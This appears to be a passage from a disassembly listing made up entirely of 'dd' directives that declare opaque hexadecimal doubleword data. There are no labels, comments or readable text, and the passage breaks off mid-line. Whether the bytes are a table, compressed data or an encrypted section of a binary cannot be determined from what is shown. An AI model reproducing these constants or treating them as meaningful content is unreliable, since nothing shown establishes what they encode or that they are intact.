0CAD57EE9h dd 0AF25579Dh, 0B4D5AD09h, 9206D4BCh, 0F474AE16h, 7D1690F0h dd 73010650h, 11F7033Fh, 0A1D21321h, 7DF86884h, 6CC48C3Ch dd 8ABB13CAh, 0ABB61E1Ah, 4549E19Fh, 4FDCC471h, 0B07CAF55h dd 2F5827E9h, 0E414FCBAh, 12795252h, 8856AAE9h, 37C41AFDh dd 45D01725h, 0F777083Ah, 6948F843h, 0A4C2EDDh, 0C4B6DC9Fh dd 8C2FFA53h, 0C355E24Eh, 730821E9h, 9EC1482Ah, 7FD18125h dd 48D84104h, 4AB4F7F4h, 9ECEAA5Dh, 4F2DBD00h, 56E96299h dd 0E148DE97h, 4050EF01h, 294F1F8Ch, 6CB87A03h, 0F4AF5FFAh dd 22001985h, 120D645Ah, 6DC75829h, 934B910h, 0D65B8A68h dd 0D98B6778h, 401259DDh, 0B0669868h, 585A5C2Fh, 4CFA3367h dd 0D607CF83h, 2DAE2CDDh, 80E1B6DEh, 6D6CAB3Eh, 0D1272FE9h dd 0C5CFDBD9h, 8AA847DBh, 0CA48EBF4h, 4A6B285Fh, 2A9EF1ECh dd 0E9BD6CAEh, 3CB0EA5Fh, 0B773BF52h, 2E335606h, 8DD92022h dd 2CC0DC95h, 10DE5AA2h, 834B6958h, 5C59E881h, 0AE256876h dd 0C24F1915h, 0AD01A23Ch, 0FF532205h, 0E6602F5Ah, 3F941C9Fh dd 0F3CDE978h, 3540007Ah, 0CD812DD3h, 2EE615C1h, 1E06AEB8h dd 451BA333h, 2BF21D0Eh, 602E56Fh, 3340A13Fh, 8FCE4318h dd 0F849E9F0h, 515026A0h, 2A7C09E2h, 0BF01B959h, 289F38E5h dd 132CD270h, 0B2325C51h, 3163C0F7h, 0B4213808h, 1C678501h dd 0D501BFC3h, 0BDE9F4DFh, 2FA7F16Eh, 0B10858Ah, 26523472h dd 93586DE8h, 0BFF489B2h, 22A25317h, 1707FAC4h, 0C327E0A8h dd 3C2A31C4h, 0D0B0E62Dh, 0FE886B45h, 0F627D20Ch, 0F82B97BDh dd 203FD475h, 68510349h, 0DF45B06h, 582931D9h, 165F7CE2h dd 0EB6734AFh, 592CE89Ah, 56F30F25h, 348B462Bh, 0EA077972h dd 4B095829h, 2F3BB2h, 39B615B7h, 0E0EE801Ch, 5E0BFE13h dd 78E6DCBCh, 0D19F7F84h, 7BBD8802h, 69A1768Ch, 18873BCFh dd 0F7007DBBh, 143E4E45h, 549F3B68h, 0B8504239h, 4B2E70DFh dd 0ECB05231h, 58282003h, 20041E5Eh, 172124Ch, 113C3243h dd 1E0C0C83h, 0D8001093h, 768B411Fh, 0AA1D2868h, 8C93F532h dd 525FFAA2h, 0CEA0B58h, 9B8221F5h, 8000CE94h, 3BC08CC4h dd 0EC1E06E4h, 3FF47FC7h, 0C13CE128h, 0F126D9CEh, 0F4E62FC8h dd 1B7F914Fh, 5E7A0843h, 72F0988Fh, 2B40D34Fh, 250D88CEh dd 0B25FF870h, 409A8298h, 0C94D2E8Eh, 19566916h, 0FDDA7549h dd 26157320h, 5708149h, 0EB1D559Dh, 82EFE012h, 797FD327h dd 4E561900h, 0DC742B2Ch, 77A55B09h, 2CE3C610h, 88404582h dd 6805CD6Ch, 32AA1F4Dh, 0D7805058h, 670B7205h, 9277E918h dd 0B07DB32Ah, 31584104h, 0F0A52E12h, 55F5B331h, 965479ADh dd 3B3B5BC9h, 4FFEF12Dh, 0C08EE989h, 0A4FF66DAh, 14EB2C88h dd 3B0951EBh, 641D31FAh, 0B52489D8h, 29A08F96h, 5F04F01Fh dd 0E3D6E853h, 0D83C6189h, 6E7D66C1h, 554575C2h, 0E9531DDEh dd 0B52279C8h, 89781C00h, 48916850h, 63986CBEh, 126FC1CFh dd 0BB40F32Bh, 0D06BA0C2h, 807D9D4Eh, 0F6E1C67Ah, 47BEFCFh dd 0CD01851Bh, 0F0D7301Ch, 376A5817h, 7281A1ECh, 7040B760h dd 3D004A81h, 0EF09733Fh, 0C052F8E9h, 7F6EF57Bh, 39F6508Eh dd 0B9000DB6h, 2E9D447Bh, 59CA2D29h, 0BA0ACD6h, 681409A1h dd 1FE14F00h, 326C68E1h, 0DE71EC4Bh, 0C526D7h, 5F608ABFh dd 0EE4E11E8h, 38C35F31h, 89688C6Bh, 0ACA4E642h, 8A512655h dd 79AE0117h, 703297h, 261944CCh, 800713E9h, 1B4FB868h dd 418159F9h, 7B1DCB73h, 0EEA205E8h, 2E05E349h, 21B23BBCh dd 559209FFh, 48B55BB1h, 87129BB0h, 9E85A2EEh, 5602D382h dd 0BD9E39EAh, 23AC3E7Eh, 0D074C436h, 0CA02DC2h, 482EF203h dd 0F205E0C1h, 28B15EC0h, 3EA72EE9h, 9F026981h, 68012E1Dh dd 316A4E11h, 6842CE4Ch, 588CD5BBh, 78DC126Bh, 0C38086B2h dd 18766353h, 0D8072498h, 296C101Eh, 0C945E9C2h, 7A795B64h dd 2F544099h, 3E1517A7h, 9B15BC0Fh, 0B43F4A53h, 0E6B301F8h dd 0D007E3C0h, 50BD2AEBh, 5C48E9B0h, 2D5E16C4h, 0ED80B1FBh dd 0A5502EC9h, 18FD4EEEh, 9049BD83h, 4D34E810h, 0FA475A2Dh dd 0CEBAFDADh, 681518D5h, 2F60A444h, 0BB81DFE9h, 71886CB0h dd 3FA2344Dh, 3390194Eh, 0E7763E01h, 29CF827Bh, 59CE765Dh dd 5BBC6EC3h, 0B86EB741h, 0FF18696Ah, 0BD04EBEAh, 0B9CBB008h dd 300E840Bh, 2F80BADh, 0D54A32BFh, 4277F10Bh, 0E90B0213h dd 5CE2552Eh, 0FD6B4279h, 33E9D690h, 25144A6Ah, 0E943CF0Bh dd 817AC183h, 0DD5E589Bh, 0E9C389EFh, 7684D8ACh, 40814F5Fh dd 4106C263h, 0E09545E1h, 2F138660h, 5754319Dh, 0B005760Bh dd 252B93EDh, 0DEC847EDh, 7595E1F7h, 6BB13799h, 0D5411209h dd 0C0B5304Ch, 2D4892E4h, 97DD0140h, 0A27D2770h, 0FF11CF2Bh dd 15A4AB5Bh, 8A400910h, 0F1801E07h, 2E78DDACh, 152657Fh dd 0BF5191EFh, 8BD4345Ah, 81121B9Eh, 0E0EF6FC5h, 8A640BC4h dd 0FF823118h, 0EE707A51h, 5CE87A45h, 1B2045CAh, 0D6C10176h dd 744E0D5Dh, 1921C641h, 816B243Ah, 8159AE80h, 0FCB53512h dd 0BC6A4DE7h, 0D9077369h, 297DE56Eh, 8044A9Dh, 413F04F4h dd 0F6A07E57h, 54FD403Ch, 6DB3585Fh, 0D29CEF95h, 6F6AD9E2h dd 875702CDh, 4A236830h, 0E0715A5Bh, 0FD2214Ch, 12DDC2AEh dd 0B9F31B4Ah, 10167309h, 2C37B621h, 944752E5h, 0E90908EAh dd 84549993h, 87B9069Fh, 38517658h, 0A4E58029h, 0C020707Ch dd 3498EF5Eh, 0E93EF7D5h, 0ECB74BD8h, 0A82DE124h, 89394960h dd 428EFE4Eh, 27DEFF4Ah, 4A8AE90Ch, 0EF02EAC1h, 8921CC20h dd 0F10F40D6h, 0F75A9F5Eh, 5E1E25Eh, 9366B66Eh, 1AA3D004h dd 0AB685500h, 445BED21h, 0E0BE7C35h, 615E9859h, 11504CE7h dd 277BF97Ah, 2DD830B6h, 0CC124353h, 31FB5B35h, 64B76672h dd 5141E11Ah, 491242h, 745EE781h, 781E0927h, 0E89001ABh dd 0A4E975DBh, 2DAB2DF4h, 594C0558h, 0EE93D9EDh, 0FA4EF6DAh dd 123ECE96h, 0F8110AE9h, 4557CFC9h, 9DA433F1h, 23E4155h dd 1EFE218Fh, 3FC5D527h, 0C65CAE3Fh, 2A2C6698h, 3CDD68Ah dd 7E0B0543h, 7769C0B7h, 494F11FEh, 0B34BD1E8h, 0FC213CEh dd 44F0ED4Ch, 546940B9h, 68535E12h, 34F90904h, 89F83AEh dd 7D2AC013h, 16F535F4h, 5995896h, 0BF3291D9h, 0B52980D8h dd 9CDFFE09h, 0A80E200Eh, 6347BE0Ch, 0B59E5CB9h, 0EA587B04h dd 18F1AB10h, 8429A9E2h dd 13382E56h, 16202481h, 83B0E1BCh, 3041F5AAh, 4AEBD971h dd 0BB591692h, 0EBA243B3h, 0E9652777h, 39FC7AC4h, 973DFDC6h dd 5D7565B8h, 0E028574Eh, 75993F68h, 0D580380h, 5477572Ch dd 3BB92D3Ah, 23F0CB7Fh, 304F4B72h, 436E95DFh, 1E80064Ah dd 30EF4D63h, 0A1AC454Ch, 3460AA08h, 24D0F50Eh, 0E98C12ABh dd 68C24012h, 16DE5ECBh, 0D12D2E92h, 0C3BBA24Dh, 224E902Eh dd 2B301613h, 0D700EF58h, 78D7903Eh, 2CDB5DE9h, 0D29EBA1Eh dd 0B875071Ch, 53D5A91Dh, 27E961E2h, 70346A95h, 8D1D9952h dd 28C27C1Dh, 5732B0E9h, 0F985712Fh, 5734AB38h, 17FA75CCh dd 45AD787h, 0CE0DA62h, 6F070E53h, 18A07D09h, 56EAD350h dd 13BA685Ah, 15B1BFA6h, 27A7D3FFh, 53C04738h, 531FB6E7h dd 259219BFh, 2E68DE43h, 83C1101Fh, 0E1800E94h, 0ED537E69h dd 1639D10Ch, 58C32409h, 7BD4098Ch, 3365AFF4h, 0EB4E1DE8h dd 5F212B70h, 14C0A01Ch, 0E038940Eh, 4CD4BF57h, 782BCA2Fh dd 0C7A9C077h, 1EEA1522h, 0B8BA5202h, 0FF1467BFh, 38617CE1h dd 0B951011Eh, 262F1034h, 916A92Dh, 4126200Bh, 0AF4A9F90h dd 2F15D9AEh, 22BE14C1h, 3E71A32Bh, 0E53A6940h, 0FB0913AFh dd 0E2F03977h, 4C7E5FA3h, 3B4CFB72h, 0AA705213h, 4B12D844h dd 9453AA16h, 8233B028h, 0E42B3F42h, 9D3546FDh, 2F5E329h dd 5FED0D0Dh, 0E425A073h, 0AC8F205Ah, 1D98A482h, 0FEBF89DFh dd 1F0D00DBh, 0DBF77D0Ch, 66931D91h, 556BB3AFh, 0D8E66BDDh dd 0E9C70297h, 444AC3B2h, 0E72969FFh, 986A9FA6h, 25148A5Dh dd 471E5E76h, 72670B68h, 0F4775BE1h, 0CDB03898h, 0C9F92D5Dh dd 9D2358B9h, 2B2AA96h, 80698095h, 4830D2F3h, 641C2CD9h dd 125D274Eh, 4CB0D50Eh, 0B88099B9h, 0E364099Dh, 0E4828916h dd 0D477D5F7h, 0F10293F0h, 6C0F8CF9h, 0BCEB5540h, 0CD8476D9h dd 0E921B09Dh, 263F6954h, 76CBCE7Ch, 553A627Ah, 0A561675h dd 597168C2h, 0BB5360CEh, 1C3B2205h, 6DE9094Eh, 0A0881044h dd 0FAF2125Fh, 130CEC56h, 0A30F216Ah, 52686F6Ch, 0CC252BE8h dd 0A2A0FCD1h, 0FFCD5733h, 81EC0114h, 9417CE5h, 85042015h dd 9DA20AFAh, 0B522407Fh, 625D9C7Ah, 59052545h, 7B101DA6h dd 41BD7030h, 5401C81Dh, 0F208305Dh, 0ACEB1AA0h, 7696091Fh dd 29D2F012h, 7F7857EDh, 81BB0CD2h, 30FD018Bh, 8080776Dh dd 303A2DF2h, 883F2BC0h, 0E258C72Dh, 0DB89F7E4h, 58806309h dd 0F62C59CEh, 474F0FCh, 0D0AC30D7h, 9329B06Fh, 2C4C4F1h dd 0C82E970h, 549FA0A6h, 67319DBCh, 0AFE2FE54h, 43480B4Fh dd 5B067BC2h, 0D0092FB6h, 0E91B41C8h, 85EC2B05h, 726F4D7Bh dd 0B061B85Ah, 0B1DA9BDh, 0EF314158h, 0AB50C284h, 8760DB29h dd 0E9519F1Eh, 0BA106CA6h, 233BE941h, 0DEE9DDF5h, 0CD8C7E42h dd 0A66F5BA8h, 0C8E9C326h, 0C74D25CDh, 7E268FF7h, 0BDF7D0AFh dd 294B69F1h, 0C214F43Eh, 67405AD5h, 2CB23C23h, 5A81835Ah dd 59314B59h, 396FB140h, 0BA9B4E21h, 18C16080h, 40FC275Ah dd 0E122AA8Fh, 30E22355h, 5447E154h, 533558EDh, 1DC30A44h dd 0F54F0Bh, 0B7AAE376h, 0D05E297Eh, 0C03A7C29h, 0A6097583h dd 20810C5Fh, 68E4F181h, 0C176006h, 6CF5373Ah, 19E096C1h dd 0B4432987h, 0A5AA845Fh, 0A2AB41B4h, 0A3F1DBBDh, 2D72234h dd 5F0E559Ch, 84C07E09h, 81F22DB4h, 133280D2h, 0E8D1F4CFh dd 0C870EBC1h, 260BBFC3h, 744E90FFh, 0FDFB9F61h, 0CD167569h dd 61FE5D4Ah, 71FB19Dh, 5F2A0A5h, 1DC2BAD6h, 40E75C49h dd 8F12A07Ch, 0E9CD290Bh, 97947810h, 27F6B6F7h, 52D9D9F1h dd 7C9DC5CFh, 4AAEB6EAh, 5EA4C8C8h, 1712F775h, 32CD78F8h dd 462F86Ah, 4C3E3242h, 84C7FF13h, 898E8029h, 954F27Ch dd 3C1EE946h, 55627A5Ch, 82647CE0h, 711A52F3h, 3AD34060h dd 6826D805h, 0B66662FEh, 6B4414A8h, 0BF4ECF6Fh, 0AE53A1C4h dd 4E5EDE8h, 0AE3B0276h, 0CC04D9CAh, 0C25DD50Eh, 3E5E5291h dd 0E004E392h, 10436C9h, 0B1BFECD9h, 208E6AE6h, 0D205AE05h dd 49B2F597h, 0B8E0414h, 56F69FB1h, 0D4027B62h, 25906AE0h dd 8E95E114h, 5137858Fh, 0E36A45FAh, 0AC9E5D90h, 0AA08349Dh dd 0C4F128D0h, 2EC23F60h, 0A0A8F62Ch, 1F1503CBh, 0D9298830h dd 8DC8D7EAh, 2A6E3368h, 26E7C8C9h, 0F289060Ch, 0C307EA98h dd 0D410E28Dh, 99BBD9A4h, 32BD2F59h, 90720EC4h, 14A26892h dd 555164A9h, 0BEE1FBD9h, 2DE92508h, 3CEF0B2Ah, 5585F609h dd 0D6B00079h, 2D922B2Fh, 0F281514Ah, 3C12C036h, 19935001h dd 0FED87B25h, 0CC1C12F4h, 0F5CF4A7h, 0D9A8A527h, 5C5AFE5h dd 88182BBDh, 0EAEFAB13h, 3B306C3Fh, 41344829h, 27D93D08h dd 95FE78A4h, 0FEB945Fh, 741DFBBh, 51E94B21h, 50F72B1Bh dd 50633604h, 0F3C9D02Dh, 667A2009h, 792D0A0h, 50302705h dd 8DBA01B8h, 41CBFDBAh, 2B7D46FCh, 0D03B8B2h, 5E9F1EDCh dd 180BA1C0h, 10354F01h, 89F0F83Dh, 2EB28B2Eh, 0A70D1F29h dd 86205F0Eh, 311B9B53h, 54D3F70Dh, 10E2EF8Fh, 8A8918C5h dd 0DE0C6080h, 2D74BD0Bh, 0E1455FE9h, 470DB22Ch, 7CDA2FACh dd 0D2061E47h, 6B25A1D8h, 52F1E8Bh, 83D10AF4h, 31672307h dd 7940404Ch, 2440A05Ah, 0AE9C4DEDh, 0B0F1B095h, 49E831B8h dd 32073C5h, 0D88C0291h, 1BB9C0Bh, 0FB57BE60h, 0FCC2A7C9h dd 61ACD5h, 6F744EA3h, 9264E7E9h, 0E4BBF973h, 0F4EC408h dd 0AE5BBC8Bh, 4819C32Ch, 1944705h, 6249FF5Eh, 5FC0E178h dd 421E4978h, 0B0FDD24Ah, 0E0B03148h, 35854CB5h, 11C9CDBh dd 0CD584533h, 7C6E824Dh, 570FD902h, 827FC589h, 75D34AF2h dd 210514E6h, 5A085438h, 2D6E38FAh, 33E3000h, 0E9C8295Ah dd 0AA174B84h, 2409CD5Eh, 0D7BC1238h, 0DCF617D0h, 0A5B90E9Fh dd 1DB706BCh, 85082718h, 549F58C5h, 0CECA7059h, 0E4FB27CEh dd 71D1064Fh, 1C637B26h, 8010158h, 0E909EF45h, 344AEB41h dd 848B25ABh, 5F5BFCE2h, 68B1B0E2h, 3353A8Ah, 2EBC2CEBh dd 0F4822141h, 73932C6Ah, 801E492h, 9D1A60E9h, 0AFD3E677h dd 0BF5B95ACh, 75B4E032h, 0EF5C2D04h, 0F05AD2B7h, 64F1C32h dd 0AA5F4CA3h, 6D04C713h, 4616182Ah, 0EE8273FFh, 0DEB9C3E0h dd 0BAA54413h, 60886124h, 68591C6Fh, 59951BD6h, 0F14BF7h dd 7B014212h, 7CE4C764h, 31E3C06Eh, 0F8E65BDFh, 989F16B5h dd 8C6B5B03h, 970C2A7h, 0EFFEFEB7h, 54F8F2A5h, 0C05F728Fh dd 7E4122ADh, 84EAD126h, 0AB3A7D00h, 1DFD2533h, 43717F79h dd 2D720774h, 6E0FF200h, 13E97E76h, 54768297h, 5DEE648Ch dd 62C5FEE1h, 6F2C0E81h, 0B1605051h, 5A26E9E7h, 10CDF3F7h dd 4F1F339Eh, 22314281h, 0C15DC18Bh, 0BE2F596Ah, 0F87BA939h dd 53EC585h, 0B5127AF2h, 42C3FBC1h, 59EF8032h, 5BFE2708h dd 501C4A5Fh, 0E1212F77h, 3642C3F1h, 77B503A1h, 2A55FCB9h dd 0B6ED3744h, 19426800h, 8E970496h, 88185D3Eh, 4B5F7F0h dd 0E93A5D49h, 4010F199h, 0EB05014h, 14EEBF4h, 4830D089h dd 598340Ch, 3AE1FA0Ch, 4CBE703h, 6517AA69h, 4908C230h dd 0B444770Bh, 0C1CFD730h, 15ECE7F1h, 0CE29A96Bh, 0B5787F25h dd 3D2A6193h, 3B9D6812h, 3A847DEBh, 79C49BA2h, 0EF12162Bh dd 0FB03C4EFh, 102DF0C0h, 0FC444B37h, 810767D3h, 307A5960h dd 9876B01Dh, 960509C6h, 0AFACC69Ah, 1C164EB8h, 391E6546h dd 0E48DB30Fh, 0BDEACF01h dd 9BC4C266h, 287220FFh, 0FE97BD08h, 0AC16157Dh, 9392F34Ah dd 0BA029DE7h, 3B9F71F9h, 0A7F5BD41h, 0FE88890Dh, 460BCB4Bh dd 42B3CA42h, 538BEFFDh, 0E2E05A2Ch, 18DF0F21h, 82446586h dd 69D7E8D7h, 0BA8F4CBCh, 143C1C11h, 0DECD702Ah, 0E527110Bh dd 0E04BBC4Bh, 0E927F2FAh, 3185E1D0h, 9DA2AB60h, 275C4D8Bh dd 0FC5B75Ch, 0CFAB2C97h, 0F3E9095Bh, 6C527DE3h, 4529F697h dd 4599EE9Eh, 13C3052Eh, 531FB27h, 0D66B09E7h, 0DEBD5AFFh dd 84EA8CA5h, 0AA986641h, 44A18B27h, 0E317A0BBh, 0C4507C18h dd 0ABFA451Eh, 6958848Ch, 0D4843FDEh, 0BE56003Eh, 0C4B45903h dd 1E963022h, 0C3925A1Dh, 1227B6FAh, 9CE339A8h, 0F524C72Fh dd 55E782E0h, 3FBFB6E5h, 5592FC3h, 0ED07C04Eh, 4B093E34h dd 0EC9A200Dh, 2EE5A76h, 0B5215D80h, 0E0B5CE4Ch, 0D365982Ah dd 0A4B80E21h, 0AF1855E5h, 40FE08C5h, 0B2C2F1E9h, 1270C2Ah dd 260E5BCBh, 4BC1103Dh, 0D7CD28E1h, 2DCF4C20h, 0F6E006E4h dd 710C5DBAh, 1E016A8Dh, 85E9164Fh, 0E3B5203Fh, 0C44FB9CEh dd 0B23460E0h, 0B3389D65h, 33C0181Ah, 0E6F5F4EBh, 25577CFDh dd 2FC4B891h, 364DA30Ch, 0A2F73E10h, 164E5507h, 7482E12Fh dd 9C7F72E2h, 0F24E20C8h, 9279280h, 740F592Fh, 0AA568C19h dd 0F809BB1Ch, 0D453FD67h, 7F7E8598h, 0D821C19Dh, 7BF0FAE9h dd 10A16816h, 0B2C573ECh, 30472D58h, 59BD73DAh, 685582D5h dd 0DA4C321Ah, 13507C20h, 46F31EE9h, 1563BFE4h, 2F42AA34h dd 12D28BB2h, 0C00ED57Dh, 3B5F68C5h, 56934C91h, 8040B9E2h dd 16AF2A8h, 0ACC9816Eh, 2079C54Fh, 0C4800415h, 0FEF52CFAh dd 73C4ACD9h, 96519220h, 0EEEF1389h, 50CF2A0h, 0E9B075E2h dd 0AB92EA3Dh, 1382D0D3h, 0A00827AAh, 0AB12CF04h, 18452D7Fh dd 89AE2B6Dh, 5FBE2F36h, 10D149E2h, 228288F6h, 76634E11h dd 0BEF71318h, 89CE4409h, 8196DC5Ah, 192CA9EDh, 0CBD47A17h dd 910C0818h, 145A250Dh, 38B6B177h, 9559D674h, 0EA013070h dd 0A3F28108h, 6FD2E2h, 144DD580h, 0F95BE91Bh, 0C11174BEh dd 0C06D428h, 0DE10ABFh, 148C649Fh, 0C22F06DFh, 11E9D6C8h dd 4322E44Ah, 3304D521h, 7560EB5Fh, 12B03D18h, 0FBFD0147h dd 0C4E99872h, 4DDD2DECh, 51508B54h, 0E563CC6Bh, 0D997E6E8h dd 0BAF145D8h, 61BBE912h, 2148DEBh, 0D6F85D35h, 5A416816h dd 6B0C2D67h, 0ECD69D21h, 6B97966Dh, 0A0C9E858h, 58022B1h dd 0B4501DC9h, 0B1E6FB68h, 0F71DB958h, 0E969306Ch, 0A3D2EB46h dd 0DD06E21Ah, 0DAAD640h, 90673C3Dh, 0FC4B022Eh, 0C3170564h dd 0C1AE8D7Fh, 1E87A2h, 0B54B595Fh, 9CFB2020h, 292EEA75h dd 6334D9DAh, 0BEE56FFh, 29F4A357h, 8E8C3315h, 42A81222h dd 198EA9D3h, 686715DEh, 0F333CF1h, 0A8253D4Ch, 5B6461DAh dd 2CC2237Eh, 6ACB7C2Fh, 0B4710FEh, 8980F430h, 8E49796Ah dd 0E64EF588h, 0BF5A49Eh, 0E88513B5h, 56FC2845h, 62685303h dd 2F619247h, 36FD5B65h, 1DEBA1B2h, 3BB744D2h, 4D3D0660h dd 0AA0BE2AFh, 0FEEF6C0Fh, 0B40EBC77h, 9216A3BFh, 0C4487714h dd 0CFBAF986h, 8A954EBEh, 19688190h, 1C1B9778h, 577740F8h dd 6ED787B7h, 870DE850h, 314E39F7h, 8FE69F2h, 0A5742984h dd 0AA8B7F9Ah, 0BDC3D25Eh, 56007670h, 68575255h, 3F8D317Dh dd 5AAD5F02h, 2BFCF2E2h, 449A942h, 0DD108357h, 0D4F2AE9Dh dd 0B96A0451h, 0F025C91Ch, 0B66CB06Ch, 955962Ah, 0BD7444EAh dd 18342C83h, 2EEFD946h, 763CFB2Eh, 99725377h, 0AA6FE913h dd 23539F13h, 40A534F2h, 52EA8062h, 501FD2F6h, 7A43C1B0h dd 1D3A16E9h, 0CB8A2C4Ch, 0E1448483h, 43126817h, 0EFB97461h dd 874AA83Dh, 5E8EA3E3h, 0D0F61405h, 6DC2E22Ch, 0DAF4E807h dd 605281A3h, 0C14B5F6Ch, 83B07CE8h, 0BD9001C2h, 10B41159h dd 9D7A5E82h, 12B0E50Ah, 8E2DEA2Dh, 25DD5C6Bh, 5E9FBED8h dd 0D32F5600h, 0F7141057h, 4A12F4F9h, 823F31E6h, 4992DD3h dd 756C17B4h, 0BB9041C5h, 0BF5FFE29h, 2A7BCCDEh, 9D989169h dd 1F871CD7h, 0E5FEFDF7h, 53AD13FBh, 97E9C348h, 0ABE9175Eh dd 48F5A84Eh, 38ED2BDFh, 0BF881190h, 0EB81D6AFh, 4A9ACA44h dd 7135B527h, 0AF30ACADh, 6A20236Ch, 7558BD3Ah, 7465941h dd 524FBD63h, 0DB4DE904h, 3A88F891h, 8E28CC3Ah, 15E9192h dd 125AE9E4h, 0B94A835h, 36105EADh, 828282BBh, 7AFB0DE9h dd 0BB144ADAh, 0D34409D8h, 0CCF4BF95h, 6513D23Bh, 0BCD1D2B4h dd 0DB3DE77Ch, 0C01374EBh, 9A4C6C3Fh, 0BA522B1Ch, 7BD967Ch dd 4A1863F9h, 5FFB3D8Dh, 3507A6F7h, 16A5B808h, 5E83B855h dd 36B20E00h, 0E04CC580h, 9ADCF8D5h, 3C05A5C5h, 0A54247Eh dd 4F098F85h, 9E83A872h, 204E9020h, 0BF056252h, 7A8E02A1h dd 782ADA03h, 49C0F598h, 0C4B1C7Eh, 4FD7F738h, 67137012h dd 0DF02113Fh, 828808E2h, 0DF52A9A9h, 31A868D3h, 3AE30912h dd 1727EE0Ch, 5C3D09E2h, 1FD6749h, 74855BE6h, 4052760h dd 29CE82C1h, 3E73C2C2h, 2FC0E6F5h, 527B3192h, 2503A4h dd 3325B882h, 50C498A5h, 4B5F77C2h, 431A2051h, 6448887Dh dd 7F12814h, 5D895F25h, 0A9F498A7h, 0DDC9E8D4h, 9E985C96h dd 57AE925h, 28AE5F70h, 6AB0530Eh, 1A6AC00Ah, 6E08924Ah dd 0B3D42F8Bh, 84CF561Fh, 5E762428h, 0E6C080EBh, 0A7705DFCh dd 0B7EBBC80h, 0E0C89CC0h, 148FBF80h, 0BF103570h, 473CA604h dd 39F4C86Eh, 3B9F040h, 790B5DD0h, 0EC01CF09h, 0E48226C7h dd 0CB645780h, 834827A9h, 0CD209658h, 82409D10h, 2F510A19h dd 5957E2DDh, 0A615234h, 802D38D0h, 62227EA0h, 0C0BB0B53h dd 0B780D723h, 9416A5E3h, 3F27948h, 0CAD93ECFh, 0F75B9909h dd 96044CDBh, 412D0C2Eh, 2BC176E5h, 0BD58D5A0h, 9FBBE3h dd 0E982654Bh, 28162FE7h, 0C0512C2Dh, 0C06A535Eh, 24075414h dd 57B12D4Fh, 1F915C83h, 0D1D002BCh, 7C05C80Ch, 0E0C1D8F7h dd 32042FE8h, 0FE06D74Bh, 3005A50Eh, 4525523Bh, 6CD5028Bh dd 0BC54B54Bh, 0FE2D5726h, 0E7AE225h, 67DD7D6Ah, 685C8277h dd 6C663865h, 27CD86C1h, 846F0910h, 0A400FE6Ah, 5EC44E5Ch dd 4C90481h, 802D7D66h, 0A1391DB4h, 0DE343075h, 85BF493Eh dd 1F2AA845h, 0D996C709h, 0F0314740h, 2559505Eh, 65E82958h dd 65B9476Ch, 55FB7237h, 5EB16C83h, 0E53F0B24h, 81228708h dd 0E8B608F1h, 0B085ED1Bh, 0AAEF9C5Dh, 14CC276Ch, 8A0C856h dd 42959498h, 0A628DB5Bh, 0C8D127E9h, 911D8020h, 4540CC43h dd 4C7DE581h, 0E94E1532h, 0EA4AFD94h, 252062C9h, 4E607DBEh dd 607F05Eh, 0FF6E09B7h, 1CF21C10h, 6914024h, 0B3146400h dd 4B590507h, 0D06DE067h, 0CA0747F9h, 0DC922711h, 0B7EF97Dh dd 0A2E89AA4h, 0B0C15008h, 2DD37A5Bh, 0CA2692FFh, 2A884030h dd 83944801h, 0D2EF61Ah, 0A6206154h, 282C9BB8h, 8809BFC6h dd 0CB3879F5h, 4CF79062h, 672BF3Ch, 0CF8C090h, 0FBCA3D50h dd 0B64D6528h, 0D52BFE25h, 0BB42B112h, 25CC945Dh, 0B73A8C16h dd 13B29E8Ah, 7D38AB7Fh, 7B2D1868h, 0E8DD6633h, 8068EC9Fh dd 26430FC7h, 3CE652FAh, 5808A172h, 17E9BA64h, 77FF9FA8h dd 0E1FDB52Fh, 0A43A2Fh, 75330AF5h, 0EF820CFh, 49335CAh dd 13E3E73Bh, 0EFFE16FAh, 0CB81FD84h, 1A83C733h, 74C6805Bh dd 0F08850D0h, 5D9275FAh, 4781BB09h, 0E3670214h, 0A31A57EBh dd 187473FFh, 1050A45h dd 4E442209h, 0C4C40B59h, 20D32283h, 95BEC0C0h, 9D7F0C42h dd 667F6B4Ch, 7F408A2Ch, 0B9565203h, 4CAB043h, 480CEC4Ah dd 3F7E5042h, 989174Fh, 41DD5AD6h, 126FB48Dh, 11F2BB98h dd 8486E8B5h, 16139621h, 3098B538h, 9467A5FBh, 3675FDB3h dd 2802C7B8h, 69EC80D4h, 0E0B5626Ch, 0B5826854h, 32F0BB66h dd 0B06469B6h, 0C7038F9h, 9397E9FCh, 5A3EB762h, 0CC7F3980h dd 0F815E0Ah, 0F329B37Bh, 943AC005h, 44F3AE60h, 0BBD7861Ah dd 2255205Dh, 9D023E6Bh, 7C9FEFD0h, 8565931Eh, 67F2EA6Ch dd 0AE88BFD6h, 77AB25E9h, 729114E8h, 1301208h, 0D20820F7h dd 658FE0Ch, 2408C628h, 8D621BBh, 712F2775h, 2E7B7131h dd 2CAAB216h, 92A156C9h, 5932931Ah, 54A561AFh, 0DBD87A5Dh dd 0D85945B3h, 913D3784h, 1E7296DEh, 95E807F4h, 0C75DD689h dd 43AC8C1h, 0F3077E68h, 4D1100DAh, 0CB8123D7h, 88603EC5h dd 49F30F76h, 1D3A312h, 8380666Ch, 2E66358Dh, 0B72DD5E0h dd 0E918FEFAh, 689692F6h, 0D0791E36h, 2DD19F48h, 5B7934E4h dd 9A441D2Dh, 0AA4CDFC2h, 4111825Fh, 0C8748488h, 0D418AB12h dd 42C58Ah, 0CE815C12h, 7E593480h, 0AA0E4E60h, 2F38CA2Bh dd 9009D4E9h, 0F63942F7h, 0D62002F2h, 61DD3591h, 0CB3E2150h dd 0BBF84B17h, 0E82FC1B8h, 74A3500Eh, 8C261D0h, 3C393C68h dd 32B19F50h, 6AB8E1E9h, 53BBE82h, 54F46033h, 4DA01E3Bh dd 48500796h, 14A37507h, 22457398h, 49E97E09h, 0F89A5716h dd 6AAE845Dh, 434C10E8h, 0BF0B3912h, 0F5F49987h, 49C1A680h dd 0E9361706h, 0AD23A02Eh, 25CF2D16h, 0D857551Ch, 6B2F83F8h dd 0BE13362Eh, 0C0534838h, 606FDF2Ah, 0E97E5A50h, 5B4C06B2h dd 1E204D7h, 80AB67E6h, 425068BAh, 570FB295h, 0EE4E25ECh dd 0A87517FAh, 567E1021h, 9F273D50h, 0C20D8EA2h, 0A8274DD5h dd 59F24088h, 0FE96682Dh, 5B5F636Ah, 0C0A8FBACh, 0F43B51E0h dd 91935607h, 0B73ED1F7h, 20C44CFCh, 35C11C5Dh, 3B6015F3h dd 975E32ECh, 7128DEA0h, 8B8453Ch, 3198BE7Dh, 6BEB8100h dd 0E935B456h, 199B63Eh, 0AA1077B9h, 